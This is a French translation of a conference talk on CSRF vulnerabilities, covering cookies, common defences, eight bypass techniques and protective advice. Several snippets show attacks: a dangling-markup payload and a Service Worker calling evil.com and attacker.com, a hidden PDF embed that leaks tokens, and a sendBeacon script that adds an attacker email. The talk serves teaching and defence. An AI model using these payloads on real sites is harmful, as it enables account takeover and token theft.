Les vulnérabilités CSRF sont toujours d'actualité

CSRF (Cross Site Request Forgery) traduit en russe est un faux de demandes intersites. Mikhail Egorov ( 0ang3el ) dans son rapport sur Highload ++ 2017 a parlé des vulnérabilités CSRF, des mécanismes de protection généralement utilisés et de la manière dont ils peuvent être contournés de toute façon. Et à la fin, il a présenté une série de conseils sur la façon de se défendre correctement contre les attaques CSRF. Sous cat décodage de cette performance.


À propos de l'orateur: Mikhail Egorov travaille chez Ingram Micro Cloud et est engagé dans la sécurité des applications. Pendant son temps libre, Mikhail est engagé dans la recherche de vulnérabilités et la chasse aux bogues et prend la parole lors de conférences de sécurité.

Avis de non-responsabilité: les informations fournies sont uniquement l'opinion de l'auteur, toutes les correspondances sont aléatoires.


Ce monstre cookie est à blâmer pour le fait que les attaques CSRF fonctionnent. Le fait est que de nombreuses applications Web utilisent des cookies (ci-après, nous considérons approprié d'appeler des cookies en russe) pour contrôler la session de l'utilisateur. Le navigateur est conçu de sorte que s'il dispose de cookies utilisateur pour ce domaine et ce chemin, il les envoie automatiquement avec la requête HTTP.

Les cookies

Un cookie est un petit morceau de données qu'un serveur Web envoie à un client sous forme de nom = valeur dans un en-tête HTTP appelé «Set-Cookie». Le navigateur stocke ces données sur l'ordinateur de l'utilisateur et, si nécessaire, envoie ces données au serveur Web dans le cadre d'une demande HTTP dans un en-tête HTTP appelé «Cookie».

Les cookies peuvent avoir différents attributs, tels que: expire, domaine, sécurisé, httponly:

Les cookies sont apparus pour la première fois dans le navigateur Netscape en 1994. De nombreuses applications Web les utilisent encore pour gérer la session d'un utilisateur.


Voyons comment fonctionne l'attaque classique Cross Site Request Forgery (CSRF).

Disons que notre application Web a la possibilité de modifier l'adresse de livraison de l'utilisateur et utilise des cookies pour contrôler la session.

Nous avons un formulaire HTML que l'utilisateur doit remplir: entrez l'adresse et cliquez sur le bouton "Enregistrer". En conséquence, une demande POST avec un formulaire HTML volera vers le backend. On voit que le navigateur y installe automatiquement des cookies de session de l'utilisateur. Le serveur principal, lorsqu'il reçoit une telle demande, voit qu'il existe une telle session, il est un utilisateur légitime et change son adresse de livraison.

Que peut faire un attaquant?


Il peut placer une page HTML sur son site attacker.com qui soumet en fait le formulaire HTML à l' exemple . com . Étant donné que le navigateur insère automatiquement les cookies de l'utilisateur dans la demande HTTP, le backend ne comprendra tout simplement pas si la demande est légitime - est-ce le résultat du remplissage du formulaire par l'utilisateur, ou s'agit-il d'une attaque CSRF - et changera l'adresse de livraison de l'utilisateur en une valeur avantageuse pour l'attaquant .

Il existe une autre option pour une attaque CSRF à l'aide de l'API XHR. Si beaucoup ont entendu parler de l'attaque CSRF à l'aide de formulaires HTML, ils en savent moins sur cette méthode, mais cela fonctionne également.


Notez l'attribut withCredentials, qui oblige le navigateur à envoyer automatiquement des cookies utilisateur. Puisque la valeur de Content-type est application / x-www-form-urlencoded, le navigateur enverra cette demande sans demande de contrôle en amont des options CORS, et encore une fois l'attaque CSRF fonctionnera.

Voyons plus clairement comment cela se produit.


Données sources:

• application example.com vulnérable à CSRF,
  
• utilisateur
  
• le site de l'attaquant, où se trouve une page csrf-xhr.html.
  

L'utilisateur est authentifié dans l'application, qui se trouve sur example.com . S'il se rend sur le site de l'attaquant, une demande POST sera automatiquement exécutée, ce qui modifiera l'adresse de livraison. Le navigateur insérera automatiquement les cookies de session dans la demande et le backend changera l'adresse.

Historique des attaques CSRF

En général, les attaques CSRF sont connues depuis 2001, date à laquelle elles ont commencé à être activement exploitées. Au cours de la période 2008-2012, ces vulnérabilités étaient présentes sur chaque premier site, notamment:

1. YouTube
   
2. Le New York Times;
   
3. Badoo
   
4. SlideShare
   
5. Vimeo;
   
6. Hulu;
   
7. Recherche cinéma;
   
8. ...
   

Quelle est la gravité des vulnérabilités CSRF?

En fait, tout dépend de la criticité de l'action vulnérable. Ce pourrait être:

• Prise de contrôle du compte - l'attaquant capture le compte de la victime en modifiant l'e-mail via CSRF.
  
• Escalade de privilèges - augmentation des privilèges due au fait que l'attaquant via CSRF crée un nouvel utilisateur avec des droits élevés sur le système.
  
• Exécution de code à distance - exécution de code en raison de l'opération d'injection de commandes dans le panneau d'administration via CSRF.
  

Voyons ce que les classifications de vulnérabilité établies au niveau international disent de la gravité de la CSRF.

Dans le projet OWASP Top 10 , qui contient les 10 vulnérabilités les plus critiques de l'application, en 2010, les vulnérabilités CSRF occupaient la cinquième place . Ensuite, les développeurs ont commencé à implémenter diverses options de protection, et déjà en 2013, les vulnérabilités CSRF sont passées à la 8e position.

Les vulnérabilités CSRF n'étaient pas du tout incluses dans la liste pour 2017, car soi-disant selon les statistiques, elles ne sont désormais détectées dans les tests de pénétration que dans 8% des cas .

Personnellement, je ne suis pas d'accord avec ces statistiques, car au cours des deux dernières années, j'ai trouvé de nombreuses vulnérabilités CSRF. Ensuite, je vais vous dire comment je l'ai fait.

Dans la classification Bugcrowd VRT (Vulnerability Rating Taxonomy), les vulnérabilités CSRF à l'échelle de l'application ont un degré de gravité P2 (élevé). Seule la gravité critique est au-dessus, c'est-à-dire qu'il s'agit de vulnérabilités assez graves .


Considérez quelles options de protection CSRF existent et comment chacune des options de protection fonctionne.

1. Jeton CSRF

• Pour chaque session utilisateur, un jeton unique et hautement entropique est généré.
  
• Le jeton est inséré dans le DOM de la page HTML ou est donné à l'utilisateur via l'API.
  
• L'utilisateur à chaque demande associée à des modifications doit envoyer un jeton dans le paramètre ou dans l'en-tête HTTP de la demande.
  
• Étant donné que l'attaquant ne connaît pas le jeton, l'attaque CSRF classique ne fonctionne pas.
  

2. Double soumettre le cookie

• Encore une fois, un jeton unique et hautement entropique est généré pour chaque session utilisateur, mais il est placé dans des cookies.
  
• L'utilisateur doit transmettre les mêmes valeurs dans la demande dans la demande et dans le paramètre de demande.
  
• Si ces deux valeurs coïncident dans les cookies et dans le paramètre, il est considéré que c'est une demande légitime.
  
• Étant donné que l'attaquant ne peut tout simplement pas modifier les cookies dans le navigateur de l'utilisateur, l'attaque CSRF classique ne fonctionne pas.
  

3. Protection basée sur le type de contenu

• L'utilisateur doit envoyer une demande avec un en-tête Content-Type spécifique, par exemple application / json.
  
• Puisqu'il est impossible d'envoyer une origine croisée Content-Type arbitraire dans le navigateur via le formulaire HTML ou l'API XHR, l'attaque CSRF classique ne fonctionne plus.
  

4. Protection basée sur le référent

• L'utilisateur doit envoyer une demande avec une valeur d'en-tête Referer spécifique. Le backend le vérifie, s'il est incorrect, alors il est considéré qu'il s'agit d'une attaque CSRF.
  
• Étant donné que le navigateur ne peut pas envoyer de référent arbitraire via un formulaire HTML ou une API XHR, l'attaque CSRF classique ne fonctionne pas.
  

5. Confirmation du mot de passe / websudo

• L'utilisateur doit confirmer l'action avec un mot de passe (ou secret).
  
• Étant donné que l'attaquant ne le connaît pas, l'attaque CSRF classique ne fonctionne pas.
  

6. Cookies SameSite dans Chrome, Opera
Il s'agit d'une nouvelle technologie conçue pour protéger contre la CSRF. Pour le moment, il ne fonctionne que dans deux navigateurs (Chrome, Opera).

• Un cookie est défini avec un attribut supplémentaire - samesite, qui peut avoir deux valeurs: lax ou strict.
  
• L'essence de la technologie est que le navigateur n'envoie pas de cookies si la demande provient d'un autre domaine, par exemple, du site Web de l'attaquant. Ainsi, cela protège à nouveau contre l'attaque CSRF classique.
  

Mais, malheureusement, partout il y a des fonctionnalités de navigateurs, d'applications Web et de leur déploiement, qui vous permettent parfois de contourner la protection CSRF .

Par conséquent, parlons maintenant de 8 façons de contourner la protection qui peuvent être utilisées dans la pratique.

Scénarios de contournement:

1. XSS (cross-sitescripting)

Si votre application Web dispose de XSS, cela la rend automatiquement vulnérable à CSRF, et il est difficile de vous en protéger. Vous ne pouvez que supporter .

2. Marquage pendant

Disons que notre application a une vulnérabilité à l'injection HTML, mais qu'il n'y a pas de XSS. Par exemple, il existe une stratégie de sécurité du contenu (CSP) qui protège contre XSS. Mais un attaquant peut toujours intégrer des balises HTML.

Si notre application implémente une protection basée sur des jetons CSRF, l'attaquant peut intégrer un tel HTML, ce ne sont pas des balises fermées d'image ou de formulaire:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea> 

En conséquence, une partie de la page HTML DOM sera envoyée à la ressource de l'attaquant. Il est fort probable que si l'attaquant implémente correctement un tel HTML, ce qui arrive sur le site de l'attaquant contiendra un jeton CSRF.

Ainsi, après avoir appris le jeton, l'attaquant pourra exploiter CSRF de manière classique.

3. Sous-domaine vulnérable

Supposons que nous ayons un sous-domaine foo.example.com et qu'il soit vulnérable à la prise de contrôle de sous-domaine ou XSS. À la suite de la prise de contrôle du sous-domaine, l'attaquant contrôle entièrement le sous-domaine et peut y ajouter n'importe quelle page HTML ou exécuter du code JS dans le contexte du sous-domaine. Si notre sous-domaine est vulnérable à de telles choses, l'attaquant pourra contourner les types de protection CSRF suivants:

• Jetons CSRF;
  
• Double soumettre le cookie;
  
• Protection basée sur le type de contenu.
  

Supposons que notre application principale utilise CORS (Cross-Origin Resource Sharing) pour la communication entre domaines. Deux en-têtes sont insérés dans la réponse du serveur:

1. Access-Control-Allow-Origin: foo.example.com (foo.example.com - sous-domaine vulnérable);
   
2. Access-Control-Allow-Credentials: vrai   - afin qu'en utilisant l'API XHR, il soit possible de faire une demande avec des cookies utilisateur.
   

Si ces conditions sont remplies, l'attaquant peut simplement lire le jeton CSRF du sous-domaine qu'il contrôle et continuer à exploiter le CSRF de manière classique.

L'option suivante. Supposons qu'il existe un fichier crossdomain.xml sur le domaine principal que nous voulons attaquer. Ce fichier est utilisé par les plugins flash et PDF pour l'interaction des sous-domaines, et l'accès à celui-ci à partir de tous les sous-domaines est autorisé.

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> 

Si l'attaquant peut télécharger le fichier JS sur foo.example.com , alors dans ce cas, il peut utiliser l'API Service Worker pour le sous-domaine foo.example.com, qui donne en fait le fichier flash.

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } 

Comme nous avons crossdomain.xml sur le domaine principal, ce qui permet l'interaction des sous-domaines, l'attaquant lit simplement le jeton CSRF via ce SWF.

Soit dit en passant, une vulnérabilité similaire a récemment été trouvée dans Amazon, plus de détails ici .

Même si CORS n'est pas configuré et qu'il n'y a pas de fichier crossdomain.xml, mais que la protection par cookie Double submit est utilisée, un attaquant peut simplement insérer des cookies du sous-domaine du domaine parent vers le chemin où il souhaite exploiter CSRF, et ainsi contourner la protection par cookie Double submit.

4. Mauvais PDF

Cette solution de contournement est basée sur PDF. Adobe a un plugin PDF qui s'installe automatiquement lorsque vous installez Adobe Reader. Ce plugin prend en charge le soi-disant script FormCalc. Cependant, maintenant le plugin PDF d'Adobe ne fonctionne que dans IE11 et Firefox ESR.

FormCalc a deux grandes méthodes: get () et post (). Un attaquant utilisant la méthode get peut lire le token CSRF, en utilisant post, l'envoyer sur son site. L'attaquant obtient donc le jeton CSRF de la victime.

Supposons que nous ayons la possibilité de télécharger un fichier PDF dans une application Web. En fait, il peut même s'agir d'un fichier d'un format différent, par exemple, un attaquant peut essayer de télécharger un PDF sous le couvert d'une image, qui est l'avatar de l'utilisateur.

L'application dispose d'une API sur le domaine principal, ce qui vous permet d'obtenir le contenu du fichier téléchargé. L'attaquant peut ensuite utiliser une page HTML qui incorpore le fichier PDF que l'attaquant a téléchargé sur example.com à l'aide de la balise embed.

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> 

Fichier Leak.pdf :


Ce fichier contient un script FormCalc qui lit simplement la page Settings.action, où se trouve un jeton CSRF dans le DOM et l'envoie à l'aide de la méthode post au site de l'attaquant.

Étant donné que le PDF est téléchargé sur example.com, ce PDF lui-même a un accès complet à tout ce qui est d'origine https://example.com , et peut y lire des données sans violer le mode SOP (Same Origin Policy).

Un autre objectif est que pour le plugin PDF, peu importe le type de contenu du fichier PDF, et même la réponse HTTP peut contenir d'autres en-têtes (par exemple, Content-Disposition). Le plugin PDF rendra toujours ce PDF et exécutera le script FormCalc.

5. Injection de cookies

Si la protection Double cookie est utilisée, alors si l'attaquant peut introduire des cookies, le jeu est terminé.

L'une des options les plus populaires dans ce scénario est l' injection CRLF .

Si l'attaquant peut insérer des en-têtes supplémentaires dans la réponse du serveur, il peut simplement ajouter l'en-tête Set-Cookie avec les cookies nécessaires et contourner la protection CSRF.

Une autre option est liée aux fonctionnalités de gestion des cookies du navigateur .

Par exemple, dans Safari, vous pouvez utiliser une virgule pour insérer de nouveaux cookies (cookies séparés par des virgules). Supposons que nous ayons un paramètre URL dans l'en-tête nommé langue. Nous le traitons et écrivons la valeur de la langue sélectionnée à l'utilisateur dans des cookies. Si l'attaquant insère une virgule, il peut insérer des cookies supplémentaires avec n'importe quel nom.

En outre, le contournement de la protection CSRF peut aider les bogues du navigateur . Par exemple, dans Firefox, il était possible d'incorporer des cookies via une image SVG ( CVE-2016-9078) . Si nous avons un éditeur HTML et que nous permettons à l'utilisateur d'insérer des balises d'image, l'attaquant peut simplement pointer vers l'image SVG dans l'attribut SRC, qui définira les cookies nécessaires.

6. Changer le type de contenu

Certains développeurs pensent que si vous utilisez un format de données non standard dans le corps d'une demande POST pour communiquer avec le backend, cela peut vous sauver de CSRF. Ce n'est en fait pas le cas.

À titre d'exemple, je citerai une vulnérabilité que j'ai récemment découverte dans un service de gestion de notes très populaire.

Il a utilisé une API qui utilise Apache Thrift (format de données binaires) et des cookies pour contrôler la session. Par exemple, pour ajouter une nouvelle note, l'utilisateur devait envoyer une telle demande POST. Des données binaires ont été transmises dans le corps et Content-Type: application / x-thrift a été spécifié.

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 

En fait, ce Content-Type n'a pas été validé dans le backend. Il était possible de le changer en text / plain et d'utiliser l'API XHR pour exploiter cette vulnérabilité CSRF en passant simplement des données binaires dans le corps de la requête POST.


En fait, la sécurité basée sur le type de contenu est une option de sécurité très médiocre. Il est contourné dans la plupart des cas.

7. Type de contenu non simple

Grâce au formulaire HTML ou à l'aide de l'API XHR, nous pouvons soumettre les types de contenu suivants:

• texte / simple;
  
• application / x-www-form-urlencoded;
  
• multipart / form-data.
  

En fait, il est possible d'envoyer des valeurs de type de contenu via:

• bogues dans les navigateurs (par exemple, Navigator.sendBeacon);
  
• plugins: plugin Flash + redirection 307 et plugin PDF + redirection 307;
  
• frameworks backend.
  

Certains frameworks, tels que le framework JAX-RS Apache CXF, prennent en charge un paramètre appelé ctype dans l'URL. Vous pouvez spécifier n'importe quel type de contenu dans ce paramètre, le backend examinera ce paramètre et l'utilisera à la place du type de contenu, qui est passé à l'en-tête ( lien vers la source).

Un bug assez connu dans le navigateur Chrome a été trouvé en 2015, après quoi, après environ un mois, il est entré en accès public, mais n'a été corrigé qu'en 2017. Ce bogue vous a permis d'envoyer une demande POST avec n'importe quel type de contenu à une autre origine à l'aide d'une API appelée Navigator.sendBeacon ().
À quoi ressemblait l'opération?

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> 

Nous créons un nouveau blob avec le type de contenu souhaité et l'envoyons simplement à l'aide de Navigator.sendBeacon ().

Un autre scénario de contournement qui fonctionne toujours et est pris en charge dans les navigateurs est de contourner l'utilisation du plugin flash.


Même s'il existe un site thehackerblog.com , où il y a déjà un lecteur flash prêt, vous spécifiez simplement l'URL, l'en-tête, le type de contenu souhaité et les données que vous devez transférer - vous envoyez, et une demande POST avec le type de contenu souhaité vole dans le backend.

Mais il y a une astuce: vous ne pouvez pas simplement spécifier l'URL du site que nous attaquons. Vous devez spécifier la ressource qui fera la redirection avec le code 307 sur la ressource que nous attaquons. Ensuite, cela fonctionnera.

8. Spoof Referer

La dernière option pour contourner la protection CSRF est basée sur Referer. Il y a un bogue dans le navigateur Microsoft Edge , qui n'est toujours pas corrigé et vous permet de truquer la valeur de Referer. Mais cela ne fonctionne, malheureusement, que pour les demandes GET. Si le backend attaqué ne distingue pas GET de POST, alors ce bogue peut être exploité.

Si nous avons encore besoin de POST, il y a une petite astuce. Nous pouvons envoyer le référent d'en-tête en utilisant le plugin PDF et FormCalc.


Il y a environ un an, il était possible d'utiliser le plug-in PDF pour envoyer des en-têtes en général, y compris l'hôte, mais Adobe a ensuite fermé cette possibilité en créant une liste noire d'en-têtes. Autrement dit, si nous spécifions Referer dans l'en-tête, cet en-tête ne fonctionnera tout simplement pas.

En général, FormCalc nous permet de soumettre légalement tout type de contenu. Si nous insérons des caractères de retour et de saut de ligne, nous pouvons ajouter des en-têtes supplémentaires à la demande.

Que se passe-t-il si nous implémentons l'en-tête Referer http://example.com ?

Il est clair qu'il ne figure pas dans la liste noire et un en-tête avec le nom Referer http://example.com sera envoyé au backend.

Certains serveurs, tels que WildFly ou Jboss, traitent l' espace comme la fin du nom de l'en-tête HTTP, c'est-à-dire les deux points ` : `. Ainsi, ces serveurs verront que Referer leur est venu avec la valeur http://example.com . Nous remplacerons donc Referer.


Ceci est le tableau récapitulatif. Les colonnes offrent une protection contre CSRF et les lignes fournissent des solutions de contournement. Dans chaque cellule, les navigateurs dans lesquels cette méthode fonctionne sont indiqués:

• Tous les moyens pour tous les navigateurs;
  
• Tous * signifie les navigateurs qui ne prennent pas en charge les cookies SameSite, c'est-à-dire Tout sauf Chrome et Opera.
  

L'option la plus cardinale et la plus efficace pour se protéger contre les attaques CSRF est de se débarrasser des cookies et d'utiliser l'en-tête avec des jetons.

Mais si vous n'êtes toujours pas prêt à abandonner les cookies pour gérer votre session utilisateur:

• Modélisez les menaces et vérifiez la mise en œuvre de la protection CSRF (voir tableau récapitulatif).
  
• Implémentez les cookies SameSite. Désormais, seuls deux navigateurs prennent en charge, mais à l'avenir, il y en aura probablement plus.
  
• Combinez diverses défenses CSRF - défense en profondeur.
  
• Demandez à l'utilisateur un mot de passe pour effectuer des actions critiques.
  
• Donnez des fichiers téléchargés par l'utilisateur à partir d'un domaine distinct.
  

En moins de six mois, et le prochain highload dans un mois - Highload ++ Siberia .

Nous souhaitons attirer votre attention sur certains des rapports sélectionnés:

• Je pleure pour tout le monde! Comment nous avons intégré les systèmes de paiement sans utiliser notre propre facturation / Anton Rusakov.
  
• njs - scripts javascript natifs dans nginx / Dmitry Volintsev.
  
• PG Saga: changements de données dépendants dans plusieurs services sans commits en deux phases et dépendances synchrones / Konstantin Evteev.